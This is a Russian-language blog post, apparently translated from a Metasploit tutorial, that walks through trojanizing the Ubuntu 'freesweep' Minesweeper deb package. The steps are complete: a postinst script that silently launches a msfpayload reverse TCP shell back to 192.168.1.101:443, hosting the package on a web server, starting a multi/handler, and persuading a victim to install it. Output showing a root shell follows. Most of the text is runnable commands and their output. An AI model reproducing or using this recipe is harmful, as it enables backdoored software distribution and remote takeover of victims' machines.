lundi 29 mars 2010

Трояны под Linux.

Для того, чтобы продемонстрировать, что атаки на «стороне клиента» существуют не только под Windows, мы будем использовать Metasploit для создания Ubuntu deb пакета, чтобы заполучить shell на Linux.

Отличное видео выступиления Redmeat_uk демонстрации этой техники, вы можете увидеть на http://securitytube.net/Ubuntu-Package-Backdoor-using-a-Metasploit-Payload-video.aspx
Сначала необходимо загрузить пакет, который мы собираемся «заразить» и перенести его во временный рабочий каталог. В нашем примере мы будем использовать пакет freesweep, текстовая версия Mine Sweeper.

root@bt4:/pentest/exploits/framework3# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree


Reading state information... Done
...snip...
root@bt4:/pentest/exploits/framework3# mkdir /tmp/evil
root@bt4:/pentest/exploits/framework3# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /tmp/evil
root@bt4:/pentest/exploits/framework3# cd /tmp/evil/
root@bt4:/tmp/evil#

Далее, нам необходимо извлечь пакет в рабочую директорию и создать директорию DEBIAN для добавления наших дополнительных «возможностей».

root@v-bt4-pre:/tmp/evil# mkdir work/DEBIAN

В директории «DEBIAN», создайте файл с именем «control», который содержит следующее:

root@bt4:/tmp/evil/work/DEBIAN# cat control
Package: freesweep
Version: 0.90-1
Section: Games and Amusement
Priority: optional
Architecture: i386
Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Description: a text-based minesweeper
Freesweep is an implementation of the popular minesweeper game, where
one tries to find all the mines without igniting any, based on hints given
by the computer. Unlike most implementations of this game, Freesweep
works in any visual text display - in Linux console, in an xterm, and in
most text-based terminals currently in use.

Нам также необходимо создать после установочный скрипт, который задаст исполняющие права на наши бинарные файлы. В директории «DEBIAN», мы создадим файл с именем «postinst», который содержит следующее:

root@bt4:/tmp/evil/work/DEBIAN# cat postinst
#!/bin/sh

sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &

Теперь создадим наше вредоносное содержимое. Мы будем использовать реверс-шелл бэк-коннекта для подключения к нашей машине под названием «freesweep_scores».

root@bt4:/pentest/exploits/framework3# ./msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 X > /tmp/evil/work/usr/games/freesweep_scores
Created by msfpayload (http://www.metasploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.1.101,LPORT=443

Далее сделаем пост-установочный скрипт исполняемым и соберем наш новый пакет. Файл пакета будет называться «work.deb». Изменим его имя на freesweep.deb и скопируем пакет в корневой каталог нашего веб-сервера.

root@bt4:/tmp/evil/work/DEBIAN# chmod 755 postinst
root@bt4:/tmp/evil/work/DEBIAN# dpkg-deb --build /tmp/evil/work
dpkg-deb: building package `freesweep' in `/tmp/evil/work.deb'.
root@bt4:/tmp/evil# mv work.deb freesweep.deb
root@bt4:/tmp/evil# cp freesweep.deb /var/www/

Для начала запустим веб сервер Apache.

root@bt4:/tmp/evil# /etc/init.d/apache2 start

Запустим модуль Metasploit multi/handler для ожидания входящего соединения.

root@bt4:/pentest/exploits/framework3# ./msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.101 LPORT=443 E
[*] Please wait while we load the module tree...
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...

Нашу жертву под Ubuntu, мы должны убедить скачать и установить deb пакет с новой игрой.

ubuntu@ubuntu:~$ wget http://192.168.1.101/freesweep.deb

ubuntu@ubuntu:~$ sudo dpkg -i freesweep.deb

Как только жертва установит и начнет играть в скаченную игру, мы получим shell.

[*] Sending stage (36 bytes)
[*] Command shell session 1 opened (192.168.1.101:443 -> 192.168.1.175:1129)

ifconfig
eth1 Link encap:Ethernet HWaddr 00:0C:29:C2:E7:E6
inet addr:192.168.1.175 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:49 errors:0 dropped:0 overruns:0 frame:0
TX packets:51 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:43230 (42.2 KiB) TX bytes:4603 (4.4 KiB)
Interrupt:17 Base address:0x1400
...snip...

hostname
ubuntu
id
uid=0(root) gid=0(root) groups=0(root)

Э_L_A_Y c brutforcer.ru

Aucun commentaire:

Enregistrer un commentaire